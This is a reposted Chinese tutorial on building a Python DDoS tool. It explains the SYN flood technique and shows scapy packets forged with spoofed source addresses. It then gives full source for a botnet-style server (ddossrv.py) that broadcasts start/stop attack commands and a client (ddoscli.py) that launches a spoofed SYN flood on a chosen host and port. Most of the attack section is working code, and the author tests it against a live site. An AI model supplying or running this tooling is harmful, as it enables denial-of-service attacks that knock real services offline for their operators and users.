开心学习
当前位置：脚本大全 > > 正文

python渗透攻击（Python实现DDos攻击实例详解）

时间：2022-03-31 00:48:18类别：脚本大全

python渗透攻击

Python实现DDos攻击实例详解

syn 泛洪攻击

syn泛洪攻击是一种比较常用的dos方式之一。通过发送大量伪造的 tcp 连接请求，使被攻击主机资源耗尽（通常是 cpu 满负荷或内存不足）的攻击方式

我们都知道建立 tcp 连接需要三次握手。正常情况下客户端首先向服务器端发送syn报文，随后服务端返回以syn+ack报文，最后客户端向服务端发送ack报文完成三次握手

python渗透攻击（Python实现DDos攻击实例详解）

而syn泛洪攻击则是客户端向服务器发送syn报文之后就不再响应服务器回应的报文。由于服务器在处理 tcp 请求时，会在协议栈留一块缓冲区来存储握手的过程，当然如果超过一定时间内没有接收到客户端的报文，本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求，全部挂起在半连接状态。这样将不断消耗服务器资源，直到拒绝服务

scapy3k 基本用法

scapy3k其实就是scapy的 python3 版本，以下简称scapy。scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。scapy是一个独立的程序同时还可以作为 python 的第三方库使用

首先安装scapy3k，windows 不方便，下面的操作我都是在 linux 中进行的

  • ?
  • 1
    		•
  • sudo pip install scapy
    		•

    python渗透攻击（Python实现DDos攻击实例详解）

    运行scapy

  • ?
  • 1
    		•
  • sudo scapy
    		•

    python渗透攻击（Python实现DDos攻击实例详解）

    因为scapy发送数据包需要root权限，所以这里加上sudo。另外运行的时候会出现一些警告信息，因为没有安装相应的依赖包，不过暂时用不到，所以不用管

    接下来我们用scapy构造一个简单的数据包

  • ?
  • 1
    		•
  • pkt = ip(dst = "192.168.50.10")
    		•

    python渗透攻击（Python实现DDos攻击实例详解）

    接下来构造syn数据包，并发送出去

  • ?
  • 1
  • 2
    		•
  • pkt = ip(src = "125.4.2.1",dst="192.168.50.10")/tcp(dport=80,flags="s")
  • send(pkt)
    		•

    我们构造了一个 ip 包和 tcp 包，并将它们组合到一块，这样就有了一个完整的 tcp 数据包，否则是无法发送出去的。ip 包中我们指定了源地址src和目的地址dst，其中src是我们伪造的地址，这也是保护攻击者的一种方式。flags的值设定为s，说明我们要发送的是一个syn数据包。非常简单的一段指令就够早了一个伪造了源 ip 地址的syn数据包

    python渗透攻击（Python实现DDos攻击实例详解）

    代码实现

    现在我们要用 python 以第三方库的形式使用scapy，使用方法和用交互式 shell 的方式一样

    前面我们构造了syn数据包，现在需要实现随机伪造源 ip 地址、以及不同的源端口向目标主机发送syn数据包：

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
    		•
  • import random
  • from scapy.all import *
  • def synflood(tgt,dport):
  •  srclist = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  •  for sport in range(1024,65535):
  •  index = random.randrange(4)
  •  iplayer = ip(src=srclist[index], dst=tgt)
  •  tcplayer = tcp(sport=sport, dport = dport, flags="s")
  •  packet = iplayer / tcplayer
  •  send(packet)
    		•

    ddos 实现思路

    前面我们已经实现了syn泛洪攻击，而ddos则是多台主机一起发起攻击，我们只需要能发送命令，让连接到服务器的客户端一起向同一目标发起攻击就可以了

    世界最大的黑客组织anonymous经常使用loic(low orbit ion cannon，滴轨道离子炮)进行大规模的ddos。loic有个hivemind模式，用户可以通过连接到一台 irc 服务器，当有用户发送命令，任何以hivemind模式连接到 irc 服务器的成员都会立即攻击该目标

    这种方式的优点事不需要傀儡机，可以有很多 "志同道合" 的人一起帮助你实现ddos，不过不太适合在傀儡机中使用。当然实现思路有很多，根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现ddos，这种方式非常简单，可扩展性也比较强

    python渗透攻击（Python实现DDos攻击实例详解）

    argparse 模块

    由于 server 端需要发送命令去控制 client 端发起攻击，所以这里我们先规定好命令格式

    #-h xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

    -h后面是被攻击主机的 ip 地址，-p指定被攻击的端口号，-c控制攻击的开始与停止

    命令制定好了，接下来看一下如何使用命令解析库argparse

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
    		•
  • # import argparse package
  • import argparse
  • # new argumentparser object
  • parser = argparse.argumentparser(description="process some integers.")
  • # add parameter
  • parser.add_argument('-p', dest='port', type = int, help = 'an port number!')
  • # parse command line arguments
  • args = parser.parse_args()
  • print("port:",args.port)
    		•

    上面的代码中，我们创建了一个argumentparser对象，description参数是对命令行解析的一个描述信息，通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数，这里我们只添加了一个-p参数，dest是通过parse_args()函数返回的对象中的一个属性名称。type就是解析参数的类型。help指定的字符串是为了生成帮助信息。argparse默认就支持-h参数，只要我们在添加参数的时候指定help的值就可以生成帮助信息了

    socket 模块

    python 中的socket提供了访问 bsdsocket的接口，可以非常方便的实现网络中的信息交换。通常我们使用socket的时候需要指定ip地址、端口号、协议类型。在进行socket编程之前我们先了解一下客户端(client)和服务器(server)的概念。通俗的讲，主动发起连接请求的称为客户端，监听端口响应连接的称为服务器。下面我写一个客户端和服务器的例子：

    客户端

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
    		•
  • # import socket package
  • import socket
  •  
  • # create socket
  • s = socket.socket(socket.af_inet, socket.sock_stream)
  •  
  • # establish connection
  • s.connect(('192.168.0.100', 7786))
    		•

    上面这个例子我们首先导入 socket 库，然后创建了一个 socket 对象，socket 对象中的参数af_inet表示我们使用的是 ipv4 协议，sock_stream则表示我们使用的是基于流的 tcp 协议。最后我们指定ip地址和端口号建立连接

    服务器

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
    		•
  • # import socket package
  • import socket
  •  
  • clilist = []
  • # create socket
  • s = socket.socket(socket.af_inet, socket.sock_stream)
  •  
  • # specify ip & port
  • s.bind(('0.0.0.0', 7786))
  •  
  • # strat monitor
  • s.listen(10)
  •  
  • while true:
  •  # receive a new connection
  •  sock, addr = s.accept()
  •  # add sock to the list
  •  clilist.append(sock)
    		•

    服务器的写法比客户端稍微复杂一些，在创建完 socket 之后，要绑定一个地址和端口，这里的0.0.0.0表示绑定到所有的网络地址，端口号只要是没被占用的就可以。之后开始监听端口，并在参数中指定最大连接数为 10。最后循环等待新的连接，并将已连接的 socket 对象添加到列表中。更多相关细节可以查看 python 官方文档

    代码实现

    server 端

    由于 server 端能等待 client 主动连接，所以我们在 server 端发送命令，控制 client 端发起syn泛洪攻击

    在主函数中我们创建 socket，绑定所有网络地址和58868端口并开始监听，之后我们新开一个线程来等待客户端的连接，以免阻塞我们输入命令

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
    		•
  • def main():
  •  s = socket.socket(socket.af_inet, socket.sock_stream)
  •  s.bind(('0.0.0.0', 58868))
  •  s.listen(1024)
  •  t = thread(target=waitconnect,args(s,))
  •  t.start()
    		•

    由于我们要给所有客户端发送命令，所以我们在新开的线程中将连接进来的 socket 添加到一个 list 中，这个稍后介绍，但在主函数中我们第一次输入命令之前需要至少有一个客户端链接到服务器，所以这里我判断了一下socket的长度

  • ?
  • 1
  • 2
  • 3
  • 4
    		•
  • print('wait at least a client connection!')
  • while not len(socketlist):
  •  pass
  • print('it has been a client connection!')
    		•

    现在循环等待输入命令，输入之后判断命令是否满足命令格式的基本要求，如果满足，就把命令发送给所有客户端

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
    		•
  • while true:
  •  print("=" * 50)
  •  print('the command format:"#-h xxx.xxx.xxx.xxx -p xxxx -c <start>"')
  •  
  •  # wait for input command
  •  cmd_str = input('please input cmd:')
  •  if len(cmd_str):
  •  if cmd_str[0] == '#':
  •   sendcmd(cmd_str)
    		•

    现在程序的大体框架已经有了，接下来编写主函数中没有完成的子功能。首先我们应该实现等待客户端的函数，方便开启新的线程

    在这个函数中，我们只需要循环等待客户端的连接就可以，新连接的 socket 要判断一下是否在 socketlist 中已经存储过了，如果没有，就添加到 socketlist 中

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
    		•
  • # wait connection
  • def waitconnect(s):
  •  while true:
  •  sock, addr = s.accept()
  •  if sock not in socketlist:
  •   socketlist.append(socket)
    		•

    我们再来实现发送命令的函数，这个函数会遍历 socketlist，将每个 socket 都调用一次 send 将命令发送出去

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
    		•
  • # send command
  • def sendcmd(cmd):
  •  print("send command......")
  •  for sock in socketlist:
  •  sock.send(cmd.encode = ('utf-8'))
    		•

    至此我们的server端就完成了。新建一个文件，将其命名为ddossrv.py，向其中添加如下代码

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
    		•
  • import socket
  • import argparse
  • from threading import thread
  •  
  • socketlist = []
  • # command format '#-h xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
  • # send command
  • def sendcmd(cmd):
  •  print("send command......")
  •  for sock in socketlist:
  •  sock.send(cmd.encode('utf-8'))
  •  
  • # wait connect
  • def waitconnect(s):
  •  while true:
  •  sock, addr = s.accept()
  •  if sock not in socketlist:
  •   socketlist.append(sock)
  •  
  • def main():
  •  s = socket.socket(socket.af_inet, socket.sock_stream)
  •  s.bind(('0.0.0.0', 58868))
  •  s.listen(1024)
  •  t = thread(target = waitconnect, args = (s, ))
  •  t.start()
  •  
  •  print('wait at least a client connection!')
  •  while not len(socketlist):
  •  pass
  •  print('it has been a client connection!')
  •  
  •  while true:
  •  print('=' * 50)
  •  print('the command format:"#-h xxx.xxx.xxx.xxx -p xxx -c <start>"')
  •  
  •  # wait for input command
  •  cmd_str = input("please input cmd:")
  •  if len(cmd_str):
  •   if cmd_str[0] == '#':
  •   sendcmd(cmd_str)
  •  
  • if __name__ == '__main__':
  •  main()
    		•

    client 端

    我们将在 client 端实现对主机的syn泛洪攻击，并在脚本启动后主动连接 server 端，等待 server 端发送命令

    在主函数中我们先创建argumentparser()对象，并将需要解析的命令参数添加好

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
    		•
  • def main():
  •  p = argparse.argumentparser()
  •  p.add_argument('-h', dest = 'host', type = str)
  •  p.add_argument('-p', dest = 'port', type = int)
  •  p.add_argument('-c', dest = 'cmd', type = str)
    		•

    现在可以创建 socket，连接服务器了。这里为了测试，我们连接到本地的 58868 端口

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
    		•
  • try:
  •  s = socket.socket(socket.af_inet, socket.sock_stream)
  •  s.connect(('127.0.0.1', 58868))
  •  print('to connected server was success!')
  •  print('=' * 50)
  •  cmdhandle(s, p)
  • except:
  •  print('the network connected failed!')
  •  print('please restart the script!')
  •  sys.exit(0)
    		•

    我们将接受命令和处理命令定义在一个单独的函数中。这里我们使用一个全局变量，用于判断是否有进程正在发起syn泛洪攻击。之后就开始循环接收命令了，接收道德数据是byte型，我们需要对其进行解码，解码之后才是字符串。如果接收到的数据长度为 0，就跳过后续的内容，重新接收数据

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
    		•
  • # process command
  • def cmdhandle(sock, parser):
  •  global curprocess
  •  while true:
  •  # receive command
  •  data = sock.recv(1024).decode('utf-8')
  •  if len(data) == 0:
  •   print('the data is empty')
  •   continue;
    		•

    如果数据长度不为 0，就判断是否具有命令基本格式的特征#，满足基本条件就需要用argumentparser对象来解析命令

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
    		•
  • if data[0] == '#':
  •  try:
  •  # parse command
  •  options = parser.parse_args(data[1:].split())
  •  m_host = options.host
  •  m_port = options.port
  •  m_cmd = options.cmd
    		•

    命令参数解析出来后，还需要判断到底是start命令还是stop命令。如果是start命令，首先要判断当前是否有进程在运行，如果有进程判断进程是否存活。如果当前有进程正在发起syn泛洪攻击，我们就先结束这个进程，并清空屏幕，然后再启动一个进程，发起syn泛洪攻击

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
    		•
  • # ddos start command
  • if m_cmd.lower() == 'start':
  •  if curprocess != none and curprocess.is_alive():
  •  # end of process
  •  curprocess.terminate()
  •  curprocess = none
  •  os.system('clear')
  •  print('the synflood is start')
  •  p = process(target = synflood, args = (m_host, m_port))
  •  p.start()
  •  curprocess = p
    		•

    如果命令是stop，并且有进程存活，就直接结束这个进程，并清空屏幕，否则就什么也不做

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
    		•
  • # ddos stop command
  •  elif m_cmd.lower() == 'stop':
  •  if curprocess.is_alive():
  •   curprocess.terminate()
  •   os.system('clear')
  • except:
  •  print('failed to perform the command!')
    		•

    最后，新建一个文件，命名为ddoscli.py，向其中添加如下代码

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
    		•
  • # -*- coding: utf-8 -*-
  • import sys
  • import socket
  • import random
  • import argparse
  • from multiprocessing import process
  • from scapy.all import *
  • import os
  • isworking = false
  • curprocess = none
  •  
  • # syn flood attack
  • def synflood(tgt,dport):
  •  print('='*100)
  •  print('the syn flood is running!')
  •  print('='*100)
  •  srclist = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  •  for sport in range(1024,65535):
  •  index = random.randrange(4)
  •  iplayer = ip(src=srclist[index], dst=tgt)
  •  tcplayer = tcp(sport=sport, dport=dport,flags="s")
  •  packet = iplayer / tcplayer
  •  send(packet)
  •  
  • # command format '#-h xxx.xxx.xxx.xxx -p xxxx -c <start>'
  • # process command
  • def cmdhandle(sock,parser):
  •  global curprocess
  •  while true:
  •  # receive command
  •  data = sock.recv(1024).decode('utf-8')
  •  if len(data) == 0:
  •   print('the data is empty')
  •   return
  •  if data[0] == '#':
  •   try:
  •   # parse command
  •   options = parser.parse_args(data[1:].split())
  •   m_host = options.host
  •   m_port = options.port
  •   m_cmd = options.cmd
  •   # ddos start command
  •   if m_cmd.lower() == 'start':
  •    if curprocess != none and curprocess.is_alive():
  •    curprocess.terminate()
  •    curprocess = none
  •    os.system('clear')
  •    print('the synflood is start')
  •    p = process(target=synflood,args=(m_host,m_port))
  •    p.start()
  •    curprocess = p
  •   # ddos stop command
  •   elif m_cmd.lower() =='stop':
  •    if curprocess.is_alive():
  •    curprocess.terminate()
  •    os.system('clear')
  •   except:
  •   print('failed to perform the command!')
  •  
  • def main():
  •  # add commands that need to be parsed
  •  p = argparse.argumentparser()
  •  p.add_argument('-h', dest='host', type=str)
  •  p.add_argument('-p', dest='port', type=int)
  •  p.add_argument('-c', dest='cmd', type=str)
  •  print("*" * 40)
  •  try:
  •  # create socket object
  •  s = socket.socket(socket.af_inet,socket.sock_stream)
  •  # connect to server
  •  s.connect(('127.0.0.1',58868))
  •  print('to connected server was success!')
  •  print("=" * 40)
  •  # process command
  •  cmdhandle(s,p)
  •  except:
  •  print('the network connected failed!')
  •  print('please restart the script!')
  •  sys.exit(0)
  •  
  • if __name__ == '__main__':
  •  main()
    		•

    程序测试

    首先运行server端脚本：

  • ?
  • 1
    		•
  • sudo python3 ddossrv.py
    		•

    然后再运行client端脚本，一定要用root权限运行

    此时可以看到client端已经提示连接成功了

    python渗透攻击（Python实现DDos攻击实例详解）

    server端也提示有一个客户端连接了

    python渗透攻击（Python实现DDos攻击实例详解）

    输入一个命令测试一下，这里我以我自己的博客为目标进行测试，各位请遵守网络安全法

    python渗透攻击（Python实现DDos攻击实例详解）

    看到client端已经开始发送数据包了，说明已经发起了syn泛洪攻击

    后记

    scapy库是基于 python2 的，如果是 python3，应该使用kamene，详情可以参考 kamene 官方文档和 scapy 官方文档

    总结

    以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对开心学习网的支持。

    原文链接：https://www.wmathor.com/index.php/archives/1190/

    标签：
    Python 攻击 DDos
    上一篇下一篇

    猜您喜欢

    热门推荐

    © 2021 开心学习